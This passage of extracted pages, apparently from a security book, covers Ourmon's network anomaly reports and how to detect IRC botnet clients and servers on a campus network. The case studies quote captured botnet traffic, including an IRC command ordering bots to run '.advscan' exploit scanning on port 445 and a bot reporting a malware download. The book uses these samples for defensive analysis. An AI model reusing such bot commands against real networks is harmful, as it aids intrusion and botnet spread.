abnormal.\n\u0002 Anomaly detection can point out new anomalies.\n\u0002 Signature detection can tell you if a particular packet or file is evil. It\ncannot recognize new evil packets or new evil files and hence is not\ngood at zero-day attacks.\n\u0002 Anomaly detection may only detect anomalies and might not be able\nto explain them.\n\u0002 The hacker rule of economy means that small attacks or small\namounts of spam are unrewarding.\nwww.syngress.com\n280\nChapter 7 • Ourmon: Anomaly Detection Tools\n" }, { "page_number": 299, "text": "TCP Anomaly Detection\n\u0002 The basic 30-second TCP port report is a snapshot of individual\nhosts using TCP, the main goal being to catch TCP-based scanning\nhosts.\n\u0002 The basic 30-second TCP port report is sorted by ascending IP\naddress.This allows you to spot hacked hosts on the same subnet.\n\u0002 The basic TCP port report may show large parallel scans.There is\none line per IP host.\n\u0002 The basic TCP port report includes only hosts with nonzero TCP\nwork weights.\n\u0002 The TCP work weight is a per-host measurement of TCP efficiency.\n\u0002 The TCP port report shows a number of attributes per host,\nincluding L3 and L4 destination counts. These are unique counts of\nL3 IP destination addresses and L4 TCP destination ports during the\nsample period.\n\u0002 The TCP port report also includes a SA/S statistic that can indicate\nthat a host is mostly acting as a server.\n\u0002 The TCP port report includes a port signature at the end, which is\nsorted in ascending order.The port signature can show that more\nthan one host is doing the exact same scan.\n\u0002 The TCP worm graph shows the overall number of scanners, remote\nor local, as an RRDTOOL graph.\n\u0002 The TCP port report has a number of hourly summarized forms,\nincluding the basic port signature form, work weight > 40, P2P\nhosts, and the so-called syndump form, which shows all local hosts.\n\u0002 The port host TCP port report summarization statistic is a highly\naggregated summarization of work done by an individual host during\na day.\nwww.syngress.com\nOurmon: Anomaly Detection Tools • Chapter 7\n281\n" }, { "page_number": 300, "text": "UDP Anomaly Detection\n\u0002 Ourmon has a 30-second UDP port report that is similar to the TCP\nport report.There is no summarization at this time.\n\u0002 The port report is sorted by the UDP work weight, which represents\na per-host value based on the number of UDP packets sent and\nICMP errors returned.\n\u0002 The UDP work weight for the top host is graphed in the UDP work\nweight graph every 30 seconds.This is an RRDTOOL graph.Thus\nthis graph may show large UDP events.\n\u0002 The UDP anomaly mechanism typically captures UDP scanning\nsystems or UDP DOS attacks.\n\u0002 The default UDP work weight threshold is 10000000.Any events\nwith UDP work weights larger or equal to this threshold are put in\nthe event log (see Chapter 9).\nDetecting E-mail Anomalies\n\u0002 The e-mail syn report has a 30-second and hourly summarized form.\n\u0002 An e-mail-specific work weight is given so that e-mail connections\ncan be distinguished from other kinds of connections.\n\u0002 The e-mail syn report is sorted by e-mail SYN count.\n\u0002 The e-mail reports may show a local host sending spam.Typically,\nlocally infected hosts will appear high in the summarization\ncompared to normal mail gateways.\n\u0002 The e-mail syn report is anomaly-based. Normal behavior and local\nnormal e-mail hosts should be determined by observing the\nsummarized daily report over time.\nwww.syngress.com\n282\nChapter 7 • Ourmon: Anomaly Detection Tools\n" }, { "page_number": 301, "text": "Q: Why does the TCP port report sometimes spot Web servers?\nA: The short answer is: we don’t know why. We would love to understand\nthis better. It could have something to do with HTTP mostly sending a\nlot of small files, so there are many control packets and just a few data\npackets. In theory, later designs of HTTP allow one server to put many\nfiles in one TCP connection, but this doesn’t work if the Web page itself\nhas separate parts at different IP addresses.\nQ: What kinds of real-world situations have you seen diagnosed with the\nUDP port report? \nA: Probably everybody on the planet is getting SPIM 24/7. We have seen\nSQL-slammer outbreaks that are not exactly hard to spot. We have also\nseen numerous instances of badly maintained UNIX servers where some\ncomponent of the Web server (say, using PHP) has been exploited and the\nweb server itself is now being used to DOS a remote host. Bot systems\ntend to use TCP for scanning, but UDP does pop up sometimes.A UNIX\nsystem can have a bot as well, even if the majority of bots are found on\nMicrosoft systems.\nQ: Are the parts of ourmon focused on network management (not talked\nabout in the book) ever useful for anomaly detection?\nA: Everything in ourmon seems to be useful for anomaly detection. DOS\nattacks can cause top N talker graphs to show a single system doing the\nDOS to be the top N system. One system infected on campus with SQL-\nslammer caused the ICMP top N message graph to entirely point at that\nsystem as many systems in the world were busy sending ICMP messages\nback to the infected host.\nwww.syngress.com\nOurmon: Anomaly Detection Tools • Chapter 7\n283\nFrequently Asked Questions\nThe following Frequently Asked Questions, answered by the authors of this\nbook, are designed to both measure your understanding of the concepts pre-\nsented in this chapter and to assist you with real-life implementation of these\nconcepts. To have your questions about this chapter answered by the author,\nbrowse to www.syngress.com/solutions and click on the “Ask the Author”\nform. \n" }, { "page_number": 302, "text": "" }, { "page_number": 303, "text": "IRC and Botnets\nSolutions in this chapter:\n■\nUnderstanding the IRC Protocol\n■\nOurmon’s RRDTOOL Statistics and IRC\nReports\n■\nDetecting an IRC Client Botnet\n■\nDetecting an IRC Botnet Server \nChapter 8\n285\n\u0002 Summary\n\u0002 Solutions Fast Track\n\u0002 Frequently Asked Questions\n" }, { "page_number": 304, "text": "Introduction \nIn this chapter we look at ourmon’s IRC facility and see how it can be used\nto detect botnet client meshes and botnet server meshes as well as the occa-\nsional compromised host that may be hosting an IRC-related hacker channel.\nWe will refer to the two case histories introduced in Chapter 6:“Case Study\n#3: Bot Client” and “Case Study #4: Bot Server.” We will also look at a few\nother cases of malware that could be bot-related as well. Before we get started\non bot clients and servers, though, we want to first talk about the IRC pro-\ntocol itself and then take a brief look at ourmon’s IRC related statistics.This\nwill help you navigate ourmon’s IRC Web page and reports.\nUnderstanding the IRC Protocol\nAssume that the local enterprise security officer has been informed that a\nbotnet client exists on the local IP address 192.168.2.3. How might that\nhappen? One way is that some other security engineer or network engineer\nmight send e-mail to a locally registered abuse e-mail that says something like:\nTo: abuse@enornousstateuniversity.edu\nSubject: scanning client on your IP address\nGreetings. You have a host scanning from IP address 192.168.2.3 and it is\nscanning hosts on our campus at ports 445 and 139. Please fix this problem\nand advise us when the problem has been solved.\nYours truly, Joe Network Person,\nJoe Network Inc.\nSo now you use a network monitoring device of some sort, possibly a\nsniffer like tcpdump (www.tcpdump.org), which is free, or possibly a commer-\ncial tool. In our case we might reach for a free tool that is ASCII oriented (due\nto previous experience) called ngrep (network grep) and invoke it as follows:\n# ngrep –i\nem0\ntcp and host 192.168.2.3\nThe tool ngrep can take patterns (regular expressions) and Berkeley Packet\nFilter (BPF) expressions that are used with sniffers like tcpdump or WireShark\n(www.wireshark.org).The incantation means “Run ngrep on the Ethernet\ninterface called em0” (FreeBSD Intel driver). In this case we are not using a\nregular expression.The BPF expression is “tcp and host 192.168.2.3.”That\nwww.syngress.com\n286\nChapter 8 • IRC and Botnets\n" }, { "page_number": 305, "text": "means “Give me only TCP packets sent to and from host 192.168.2.3.” So\nafter waiting patiently for some period of time, we might see the following:\nT 10.1.2.3:8641 -> 192.168.2.3:3103 [AP]\n:notsocool!notsocool@just.smoke.it PRIVMSG #zz :.advscan asn445 330 5 0\n65.\n78.174.x -r -s..\nSo what does this mean, and is it bad news? It means you have a botnet\nwith one or more hosts, and yes, it is bad news. Ngrep has extracted a mes-\nsage in IRC format sent from the bot server to the bot client, telling the\nlatter to do scanning using a particular exploit (presumably for an ASN.1 vul-\nnerability on port 445). Later on you might see a message roughly like the\nfollowing one, which unfortunately means that a new host (192.168.2.4) has\nbeen infected and has finished a download of something called\n“msutil64.exe.” We suspect that msutil64.exe has some sort of malware pay-\nload in it.These are both examples of the IRC protocol that might be used\nby botnets.\nT 192.168.2.4:2345 -> 10.1.2.3:8641 [AP]\n:notsocool!notsocool@just.smoke.it PRIVMSG #zz :^B.DOWN.^B File download:\n19. 0KB to: c:\\msutil64.exe @ 19.0KB/sec.]\nInternet Relay Chat (IRC) is an Internet Engineering Task Force speci-\nfied protocol. Its original version was RFC 1459, which was written in 1993.\nLater on, RFC 1459 was updated (but not replaced) by RFCs 2810-2813.\n(See www.irchelp.org/irchelp/rfc for more information.) Internet Relay Chat\nhas a strange history. It is not the only chat protocol (there are many such\nprotocols, and one might include Internet messaging protocols as well). But it\nis popular with botnet software authors as well as with ordinary users who\njust seek to chat. It has been popular with hackers because there is no need to\nregister accounts or handles, and it is easy to set up your own channels and\nservers. It has also been popular with hackers for discussing the distribution of\nillegal files (warez) and attack methodologies.\nThe basic idea is that you have a network of one or more servers and\nIRC clients.A user must connect to an IRC server with an IRC client at a\ncertain port (traditionally port 6667, although any port can be used), select a\nnickname (a nick or handle), and join one or more channels with a possibly\noptional password. Joe Hacker might call himself l33tguy in the channel.The\nwww.syngress.com\nIRC and Botnets • Chapter 8\n287\n" }, { "page_number": 306, "text": "important thing to note here is that the logic that glues IRC together is the\nIRC channel name.The channel is a logical chat room.\nFigure 8.1 shows two IRC networks, both organized around channels.\nNetwork 1 is organized around the linux chat channel and consists of two\nservers and a number of client hosts. Network 2 has one server (which hap-\npens to be a botnet C&C) and a couple of clients. With Network 2, the\nchannel name is lsass445. Using the IRC protocol, a client sends a data\n(PRIVMSG) message to an IRC channel, which is an abstraction for a set of\nusers on possibly different client computers and one or more servers. Channel\nnames are basically ASCII strings with a little bit of “syntax sugar” possible.\nThe server that the client is directly connected to takes the message (typically\njust an ASCII string like “hi there”) and forwards it to other directly con-\nnected clients as long as the client has logged into the channel.The first\nserver may also forward it to other servers if other servers are connected to\nthe first server. In turn those servers may forward the message to other clients\nor servers interested in the channel, and so on. IRC is said to be a logical\nmesh network and the data is flooded to other potential recipients in the\nmesh.This means data goes one way to all the logical clients through all the\nservers. Put another way, the servers make sure the message doesn’t get sent\ntwice to any client interested in the channel.\nFigure 8.1 Two IRC Networks\nwww.syngress.com\n288\nChapter 8 • IRC and Botnets\nWorkstation\nWorkstation\nWorkstation\nWorkstation\nWorkstation\nlsass445\nlsass445\nIRC servers\nLinux\nLinux\nIRC clients\nBot client\nIRC server\nMore IRC clients\nLinux\n" }, { "page_number": 307, "text": "TIP\nSee http://en.wikipedia.org/wiki/Internet_Relay_Chat for a good dis-\ncussion of both IRC and its history, although it doesn’t say much about\nIRC’s dark side. \nOur goal here is to not explain all the IRC protocol. Ourmon only cares\nabout a very small restricted set of IRC, and as a result that IRC subset is all\nwe intend to explain here.Also please note that we are talking about the low-\nlevel IETF IRC protocol; we are not talking about IRC commands used in\nany particular IRC client program.The four kinds of IRC protocol messages\nourmon understands are as follows:\n■\nJOINS JOINS are used by an IRC client to log into a channel on a\nserver.The channel name and password are part of the JOIN message.\n■\nPINGS PINGS are sent from a server to a client to discover if the\nclient is still interested in the channel and has not for example\ncrashed or gone away otherwise.Typically PINGS are sent in a peri-\nodic fashion at some multiple of 30 seconds.\n■\nPONGS See PINGS above. PONGS are returned from the client to\nthe server to show that it does not want to be logged out and still\nexists.\n■\nPRIVMSG A PRIVMSG contains both the channel name and data\nsent to the channel name.The basic idea here is that the message (“hi\nmom” or “scan using port 445”) should be sent to all the hosts in the\nlogical IRC channel.\nJOINS and PRIVMSG messages contain the channel names, and ourmon\nuses those messages along with the IP addresses in the IP header to construct\na list of channels with associated IP hosts (as IP addresses). Ourmon does not\nlook at the data part of the PRIVMSG. because our goal is only to construct\na network mesh, not look at user data. It also keeps track of PING and\nPONG messages because they indicate basic IRC mesh connectivity. It is\npossible for a client to send a JOIN message and not do PINGs and PONGS.\nSo in some cases a client could simply send a JOIN over and over again. In\nwww.syngress.com\nIRC and Botnets • Chapter 8\n289\n" }, { "page_number": 308, "text": "the world of large IRC servers, clients might do this to keep an administrator\nfrom logging a particular client out manually.\nOf course we are really looking for botnets with this mechanism. We\ndon’t care about human chat groups. We care about programmatic use of IRC\nas a communication channel and programs that link up to servers elsewhere\n(meaning bot clients and bot servers).As a result, our focus is on statistics. For\nexample, we want to know the IRC channel names and the IP addresses of\nhosts in those channels. We want to know if mysterious new channels appear.\nWe want to know if the statistics show anything unusual, which might\ninclude unexpected numbers of PINGS and PONGS, indicating a very large\n(and previously unknown) IRC channel on campus. We especially want to\nknow about any IRC channel that is inhabited by a large number of scanning\nhosts.This might indicate a botnet client mesh.\nOurmon’s RRDTOOL \nStatistics and IRC Reports\nIn this section we look at ourmon’s IRC user interface. Before we go on,\nrefer to Chapter 7, Figure 7.1. Find the middle jump table with the title\nimportant security and availablility reports/web pages and then note the hypertext\nlink called irc stats page.That’s where the ourmon IRC statistics live. Go to\nthat page for the following discussion.A screenshot of the IRC page is find-\nable, as shown in Figure 8.2. We want to discuss both the page and the format\nof the summarized IRC report as well as say a few words about the RRD-\nTOOL statistics available on that page.\nThe IRC stats page has three things available on it that are all IRC-\nrelated:\n■\nThe 30-second IRC report This report and the weekly summa-\nrizations all have the same format. However, this particular report\nonly has the last 30 seconds’ worth of data.\n■\nThe weekly summarizations, including the daily report As is\nusual with summarizations, the current daily report is available at the\nleft-hand side. It is run hourly and rolled over at midnight to become\nwww.syngress.com\n290\nChapter 8 • IRC and Botnets\n" }, { "page_number": 309, "text": "yesterday. Yesterday is rolled over to become today, then 2 days, and so on.\nAll together there are eight full days in addition to the current day.\nFigure 8.2 The IRC Stats Page\n■\nThe RRDTOOL global IRC stats Figure 8.2 shows the daily\nstrip chart, and Figure 8.3 shows a weekly strip chart.As is usual with\nRRDTOOL, strip charts for daily, weekly, monthly, and yearly stats\nare available.The ourmon system counts the total number of IRC\nPING, PONG, JOIN, and PRIVMSGs for the entire network as seen\nby the probe. Usually these messages have low counts.\nTIP\nA typical way to use this information is to take a quick glance at the\ndaily and weekly total stats. This could help you detect the presence\nof an IRC bot server on your network (as we will see in a moment).\nYou want to see normal small daily bumps, not counts in the thou-\nsands. Then take a look at the summarized reports for today (daily)\nand yesterday. You want to see if there are new channels you don’t\nunderstand and if there are so-called evil channels with sets of\nattacking hosts. We will look at examples in the following sections. \nwww.syngress.com\nIRC and Botnets • Chapter 8\n291\n" }, { "page_number": 310, "text": "The Format of the IRC Report\nIn this section we will look at a brief overview of the IRC report. First let’s\ntalk about the structure of the IRC report and then take a look at a few\nbenign human chat groups so that we know what normal looks like. Our goal\nhere is to explain some of the statistics and the overall layout of the report.\nThe basic report format consists of a timestamp of when the report was\nmade, followed by a short section of global statistics (see the following), and\ntwo bigger sections on channel statistics and host statistics.\nirc summarization at: Wed Sep 27 09:08:12 PDT 2006\n###################################################\nglobal stats:\n# of sample files: 1098\n# of irc hosts (servers and non-servers): 161\n# of irc servers: 39\n# of unique channels: 74\n###################################################\nchannel stats:\nchannels sorted by wormy (evil) hosts\nchannels sorted by max messages\nchannels with associated host IPs and host stats\nchannels with no PRIVMSGS, only JOINS\nchannels with any wormy hosts\nchanmap table\n###################################################\nirc host stats:\nservers sorted by max messages most\nhosts with JOINS but no PRIVMSGS\nhosts with any sign of worminess\nVarious subreports are found under channel stats and host stats. We will\nonly look at the first few channel subreports that are by far the most impor-\ntant parts of the IRC report. We informally call the first channel subreport\nthe evil channel report.This report is officially called channels sorted by wormy\n(evil) hosts. We define an evil channel as a channel that might have a number\nof scanning clients in it.The second subreport will be called the channel max\nmessage report. It is labeled channels sorted by max messages above. Channels are\nsorted in that subreport by the maximum IRC messages seen over the time\nwww.syngress.com\n292\nChapter 8 • IRC and Botnets\n" }, { "page_number": 311, "text": "period.The third channel subreport is also useful; we will call it the channel\nhost report.Above it is channels with associated host IPs and host stats. In this sub-\nreport all the host IPs in the channel are given. Each host IP has a set of\nstatistics associated with it.\nThe following is a simple and benign example. First we want to look at\nsomething safe, and then we will be able to compare it to a botnet client\nmesh. Later on we will see some examples that are not so benign.\nNOTE\nCompared with real ourmon data, the tabular data shown in Tables\n8.1 and 8.2 has been simplified for formatting reasons. Not all avail-\nable fields will necessarily be shown in the examples.\nTable 8.1 Channels Sorted by Max Messages\nChannel\nMsgs\nJoins\nPrivmsgs\nIpcount Wormyhosts Evil?\nUbuntu\n4275\n894\n3381\n2\n0\nRubyonrails 2490\n325\n2165\n2\n0\nTable 8.2 Channel Ubuntu with Per-Host Stats\nIp_src\nTmsgs\nMaxworm\nServer? Sport/dport\nFirst_ts\n192.168.1.1\n14169\n8\nH\n40507/6667\nSun_Oct_15_\n00:30:40\n10.10.10.10\n14950\n1\nS\n6667/40507\nSun_Oct_15_\n00:09:44\nIn the two tables we see normal (and benign) IRC statistics. In this report,\nthe evil channel report has no messages, so we do not show it. In Table 8.1,\nwe show channels sorted by max messages. All IRC channels seen during the\ntime in question are listed, and all the basic four kinds of message types are\nadded together and put under the label msgs. We see that channel Ubuntu has\nwww.syngress.com\nIRC and Botnets • Chapter 8\n293\n" }, { "page_number": 312, "text": "sent 4275 messages, which is more than the second channel, Rubyonrails.The\nnumber of PRIVMSGS is high, which can be taken as a sign that the channel\nis probably truly occupied by people, compared to a channel that has no\nPRIVMSGS and possibly only JOIN messages.The various columns have\nthese meanings:\n■\nMsgs Total number of IRC messages for all hosts in that channel\n■\nJoins Total number of JOINS \n■\nPrivmsgs Total number of PRIVMSGS\n■\nIpcount Total number of IP hosts in the channel (including IRC\nservers)\n■\nWormyhosts Total number of hosts deemed to be scanners\naccording to the TCP work weight.\n■\nEvil? E means that there are at least two scanners, and e (lowercase)\nmeans at least one; this flag is both a joke and an attempt to alert the\nanalyst to potential trouble.\nNOTE\nWhy is the Evil flag a joke? On April 1, 2003, Steve Bellovin, a well-\nknown security expert, posted IETF RFC 3514. He proposed that every\nIP packet should have a flag set if it was evil. In other words, hackers\nwith evil intentions should mark their packets so that firewalls could\ndrop them. Unfortunately, this idea remains unimplemented. \nThis subreport is important for any number of reasons. First and foremost\nit gives you a list of the IRC channels within your network.Take a good hard\nlook at that list.You want to compare today’s summarization with previous\ndays to see if you have new channels (possibly new channels with strange\nnames). Knowledge of your IRC channels is important because it can lead\nyou to detect botnets or unknown hacker chat channels on your own, sans\nfancy expert knowledge. IRC channels that lack PRIVMSGS are also inter-\nesting.This means the channel is not being used for chat. It is possible that it\nwww.syngress.com\n294\nChapter 8 • IRC and Botnets\n" }, { "page_number": 313, "text": "is unpopular, but many hosts on a channel with no PRIVMSGS could be a\nsign of a botnet channel. One reason for this is that some botnets have used\nJOIN messages as their data channel and have not transmitted commands\nusing PRIVMSG.\nTIP\nKnow the names of your IRC channels so you can look for sudden\nchanges in those channel names. This might not be easy to do at a\nuniversity, but within a private enterprise network you might have no\nIRC at all. So any IRC activity could be evidence of an infection or a\nworker who is not working and is indulging in games. \nThe channel subreport entitled channels sorted by evil factor appears at the\ntop of the IRC report. It is extremely important because its primary goal is to\nalert you to an attacking botnet client mesh.Thus we put it at the top of the\nreport so you don’t have to go far to find it. It is sorted by the number of\n“wormyhosts”—in other words, by the number of hosts that are scanning. A\nhigh number of scanning hosts in an IRC channel is likely a botnet client mesh. For\nexample, if you have seven hosts in the IRC channel and six of them are local\nhosts (with a remote server) and most local hosts have high work weights, you\nprobably have an infected channel. This subreport has the same form as the\nchannels sorted by max messages subreport.\nThe other important subreport is channels with per host stats. Table 8.2 is an\nexample and has been simplified to show one client host and one server host. Here\nthe IP hosts and statistics related to those IP hosts are given under the channel\nname.The various column headings are as follows:\n■\nIp_src The IP address of the IRC host in question.\n■\nTmsg Total max IRC messages (JOINS, PINGS, PONGS,\nPRIVMSGS).\n■\nTjoin Total number of JOIN messages.\n■\nTping Total PING messages.\n■\nTpong Total PONG messages.\nwww.syngress.com\nIRC and Botnets • Chapter 8\n295\n" }, { "page_number": 314, "text": "■\nTprivmsg Total PRIVMSGS.\n■\nMaxchans Count of the number of channels this host has joined.\n■\nMaxworm This is a special form of the TCP work weight.This par-\nticular version of the TCP work weight is the maximum value seen\nover all 30-second instances in the IRC summarization. It is also a\n“weak” statistical measure. We will discuss it in more detail in a\nmoment.\n■\nServer? The probe IRC module attempts to figure out if an IRC\nhost is an IRC client or IRC server. S stands for server and H stands\nfor host. Not all IRC protocols conform to the IETF standards;\nsometimes you might see an IRC channel with all servers.This is not\nunusual and is sometimes found with computer games using IRC.\n■\nSport/dport These are sampled IRC TCP source and destination\nports.This field may sometimes make obvious the destination port on\nthe server, which could be a useful thing to know. It is also a per-host\nsample, so if the host is in multiple channels, it might be wrong. Look\nfor hosts in the channel that agree on the server port.\n■\nFirst_ts This field is new. It shows the first time a host in an IRC\nchannel showed any IRC activity during the day.The timestamp is\nbased on a particular IP host in a channel, so the same host in a dif-\nferent channel might have a different timestamp.\nHow is the TCP work weight used in IRC summarizations? The IRC\nsummarization itself is pulling together a set of IP hosts found to be talking\ninside a particular IRC channel. Let’s say we have two channels, one called\nbark and the other called x0#. Channel bark has 10 clients and one server.\nChannel x0# has five clients and three servers. When we look at these two\nchannels in channels with per host stats we see that channel x0# has five clients,\nall with TCP work weight values (maxworm) of 99. So from the big picture\nthis means we have a channel with all its clients scanning.The TCP work\nweight is the maximum value of all work weights seen.The reason is that if\nyou have an outbreak of multiple bots it becomes pretty easy to spot that all\nof them or most of them (the clients in channel x0#) are infected.This is\nwhat the evil channel report is trying to show you. If you have a high work\nwww.syngress.com\n296\nChapter 8 • IRC and Botnets\n" }, { "page_number": 315, "text": "weight for a good number of hosts, you can assume that all the clients in this\nchannel are infected, too. Some of them might not have been ordered to scan\nor might for some reason not be responding to the hacker’s commands.\nHere we want to draw your attention to a channel where a number of\nhosts are all behaving badly in the same way, which strongly implies that they\nare under remote control. In addition, the IRC version of the TCP work\nweight is a weaker statistical measure than the TCP work weight used in the\nTCP port report. It is calculated the same way in terms of SYN count, FIN\ncount, and so on. However, in this case we don’t insist on a strength value of\napproximately 1 SYN per second.Three SYNS and no FINS and no data\npackets will in this case still get you 100 percent for a host.This could detect\nsome cases of weak scanning done by a botnet mesh. But it also could result\nin false positives where there are one or two hosts with high work weights in\nan IRC channel with many other hosts.Again, the goal is to show multiple\nscanners in a botnet mesh, which leads you to suspect that the entire set of\nhosts in that channel is infected. When in doubt, you can also look at the\nTCP port reports to see if the host is scanning from the pure anomaly detec-\ntion point of view. We will touch on this idea more in a moment and in the\nnext chapter, when we talk about tricks for searching the ourmon logs.\nNotes from the Underground…\nHackers and Channel Names\nWe have seen some really bad choices for channel names from those on\nthe dark side. For example, xploit or lsass445 might not have been the\nbest choices. The latter is particularly bad given that it alludes to the\nexploit being used to grow the number of hosts in the botnet. That\nsaid, there is no telling why human beings pick the channel names they\npick. The only true recourse for the analyst is to be knowledgeable\nabout which channel names are normal locally and to investigate new\nones if local security policies allow such investigation. \nwww.syngress.com\nIRC and Botnets • Chapter 8\n297\n" }, { "page_number": 316, "text": "For more details on the subreports in the IRC summarization, see\nourmon’s info.html Web page under its IRC section.\nDetecting an IRC Client Botnet\nIn this section we take a look at some example client botnets detected in\naction.This will include our Case Study #3 from Chapter 6. When you are\nlooking at the evil channel sort or the max message sort of channel names,\nthere are really four possible outcomes for botnet client mesh detection:\n1. You might have an attacking botnet client mesh with 1 or some or\nall hosts in the channel scanning.\n2. You might have a passive botnet client mesh and need other means\nto identify it.\n3. You might have a false positive (it isn’t a botnet client mesh, it’s\nsomething else entirely).\n4. You might not be able to figure it out.\nSo let’s say you decide to look at the ourmon IRC summarization:\nchannels sorted by evil factor: max number of wormy hosts:\nand you see something like the report shown in Table 8.3.\nTable 8.3 Evil Channel Sort\nChannel\nMsgs\nJoins\nPrivmsgs\nIpcount\nWormyhosts\nEvil?\nx0#\n20\n20\n0\n9\n5\nE\n.i-exp\n1\n0\n1\n2\n1\ne\nalien\n122\n92\n30\n2\n1\ne\nhobo\n12\n8\n4\n3\n1\ne\nSo there are four channels that need to be investigated. Channel x0# has\nno PRIVMSGs, nine hosts, and five scanners.This does not look good.The\nother three channels have only one scanner in them. Odds are good at this\npoint that channel x0# is evil.The other three could simply be false positives.\nwww.syngress.com\n298\nChapter 8 • IRC and Botnets\n" }, { "page_number": 317, "text": "Let’s look at x0# and its host breakdown to begin to see why we can\nclaim it is a botnet (see Table 8.4).\nTable 8.4 Channel x0# Hosts\nIp_src\nTmsgs\nMaxworm Server?\nSport/dport\nFirst_ts\n192.168.1.1\n42\n100\nH\n4779/504\nTue_Sep_26_\n00:48:21\n192.168.2.3\n56\n99\nH\n3962/504\nTue_Sep_26_\n03:45:04\n192.168.14.12\n70\n99\nH\n4058/504\nTue_Sep_26_\n08:47:34\n192.168.27.33\n75\n99\nH\n1048/504\nTue_Sep_26_\n08:50:04\n192.168.37.100\n18\n99\nH\n1756/504\nTue_Sep_26_\n14:34:36\n10.250.43.222\n196\n5\nS\n504/4931\nTue_Sep_26_\n00:48:21\n10.37.2.4\n14\n0\nS\n504/3962\nTue_Sep_26_\n08:48:36\n10.240.1.2\n33\n0\nS\n504/1046\nTue_Sep_26_\n08:47:34\n10.0.0.1\n15\n7\nS\n504/1756\nTue_Sep_26_\n14:35:36\nLet’s also look at the summarized TCP port report for one of the local IP\naddresses, which we get from the Web page syndump summarization:\n192.168.1.1\nWORM\nIPw\n(\n0: 99:100:)\n0: (143/2) (232:0:0) (232:4)\ndns: somelocalbox.someuniversity.edu\n:1065: Tue_Sep_26_00:00:42_PDT_2006: Tue_Sep_26_09:01:04_PDT_2006:\nportuples[4]: [1433, 128105][5900, 119368][80, 550][504, 79]\nWhat we can observe here is that all the local hosts (net 192.168) have\nhigh work weights, and when we look at the port report ports we see that is\nbecause the hosts in question (like 192.168.1.1) are scanning on ports 1433\nand 5900, and scanned into our darknet as well (P in application flags).A little\nwww.syngress.com\nIRC and Botnets • Chapter 8\n299\n" }, { "page_number": 318, "text": "searching on the Internet (www.dshield.org is a good site for intelligence\nabout ports) reveals that these are popular ports for exploits aimed at SQL\nand VNC (see http://isc.sans.org/diary.php?storyid=1331). We don’t really\nneed to see any more.The timestamps in the summarization are interesting,\nthough.They suggest when local hosts might have been exploited and\ninfected. We now know five local infected hosts and a number of remote IP\naddresses of botnet servers. Of course, there is much more to do and other\nintelligence we might want to collect, including what exactly is the virus,\nwhere are those hosts, how did the attack arrive? How is the botnet actually\ncontrolled (we don’t necessarily know that as there are no PRIVMSGS in this\ndata set), and how might we try and clean up the infected hosts? But ourmon\nhas done its job.\nNext let’s look at the channels that could be false positives. We look at\nchannel hobo (our “Case Study #3: Bot Clients”) and actually discover that\nchannel i-exp has the same remote botnet server IP address. Hobo is an\nexample of a fringe case where it is not completely clear (at first) whether or\nnot this is a botnet. Once you find a botnet server, you should always search\nthrough the entire report to look for other instances of that IP address. It is\nnot unusual for a botnet to use different channels for different functions,\nincluding launching scan commands or initiating downloads. Hobo (shown in\nTable 8.5) is a little tricky because there is only one local host with a high\nwork weight. On the other hand, there are 22 PRIVMSG commands.\nTIP\nWhen looking at ourmon data with a Web browser, use your Web\nbrowser search function. For example, if using Firefox, use Control + F\nand Control + G. \nwww.syngress.com\n300\nChapter 8 • IRC and Botnets\n" }, { "page_number": 319, "text": "Table 8.5 Channel Hobo Hosts\nIp_src\nTmsgs\nTprivmsgs\nMaxworm Server?\nSport/dport\n192.168.6.66\n199\n22\n95\nH\n4929/504\n192.168.7.77\n159\n0\n40\nH\n1028/219557\n10.38.4.27\n756\n7\n50\nS\n25394/2777\nWhen we go and look at our TCP port report summarization, we dis-\ncover that 192.168.6.66 has indeed been scanning on ports 139 and port 445.\nThose are classic ports for Microsoft-based exploits. If we aren’t convinced,\nwe might resort to other measures. For example, if your acceptable-use policy\nlets you peek at data payloads, you might now use ngrep to look at host\n192.168.6.66 or host 10.38.4.27 (because PRIVMSGS exist and at least one\nhost appears to be in contact with the server).A command like this could\nreveal something interesting:\n# ngrep host 192.168.6.66 or host 10.38.4.27\nTIP\nIf you are suspicious, watch traffic associated with the server’s IP\naddress. As a result you might see traffic with other infected hosts\nthat you did not yet suspect. If you find a suspicious server IP in the\nIRC report, search all the way through that report. Note all the\nchannel names where the server’s IP address appears. As a result we\ncould learn that channels hobo and .i-exp have the same server. \nAs a result of watching the server, you might see an IRC payload like this:\nPRIVMSG #.i-exp :[S]CAN WKSSVCE445: Exploiting IP: 192.1.2.4\nOops! You just caught the bad guys in the act.Apparently results for about\n445 port scans are being reported, and a new IP on your net might have just\nbeen infected.\nUsing honeypot technologies, we eventually determined that this partic-\nular bot is known as toxbot. Symantec calls this one W32.Toxbot.AL. See\nSymantec’s web page for more information on this bug\nwww.syngress.com\nIRC and Botnets • Chapter 8\n301\n" }, { "page_number": 320, "text": "(www.symantec.com/security_response/writeup.jsp?docid=2005-100715-\n4523-99).\nLast we have our channel alien.This turns out to be a false positive.\nAlthough we won’t show the information here, there wasn’t any useful infor-\nmation in the TCP port report that clearly indicated that this was a scan. No\nwell-known attacked ports were shown. In this case, by sheer dumb luck we\nknow who was using the host in question, so we asked them, and they said,\n“It’s a game.” Sometimes asking people might be what you need to do. If\nsomeone says,“Well, no, I don’t use IRC,” you know you have a security\nproblem. Of course, once again we can watch the IRC channel with tools\nlike ngrep to see if people are talking or game commands are going by, or just\nmaybe there are bot commands such as the ones we saw in our example.\nLet’s summarize the analysis techniques we might use to decide if an IRC\nchannel is hostile or not:\n1. If the channel has a number of hosts in it attacking a few ports, it is\nprobably automated and evil. Use the IRC evil channel report and\nassociated TCP port report summarizations and 30-second logs to\ngive you more details as necessary.You might need to do some\nresearch on whether or not the ports are being scanned planetwide\n(see dshield.org or isc.sans.org).\n2. Watch the IRC channel names over time and learn which IRC\nchannels are used for legitimate traffic.This might help you note new\nand possibly suspicious channel names if they show up. Of course,\nusers might always have a new chat channel, too.\n3. You can always watch the channel with a sniffer like ngrep to deter-\nmine if the traffic is suspicious.\n4. Once you learn about a bad botnet server, you should note its IP\naddress and check the IRC logs carefully to see if that IP address\nshows up with other hosts.The odds are high that those hosts are\ninfected as well.\nwww.syngress.com\n302\nChapter 8 • IRC and Botnets\n" }, { "page_number": 321, "text": "TIP\nIf you are unsure what the IRC TCP work weight means when it is\nassociated with a host, you can either look the host IP up via the Web\nin either the basic TCP port report summarization or the syndump\nsummarization, which will have all local enterprise hosts in it. If you\nwant to get a 30-second sample point of view for the host over the\nday, search the TCP port report log directory with the grep pattern-\nmatching tool. For example, first we change directory to the desired\nday of the week in the logging directory and then we use find, xargs,\nand grep to search the saved 30-second reports for the desired host IP\naddress. \n#cd 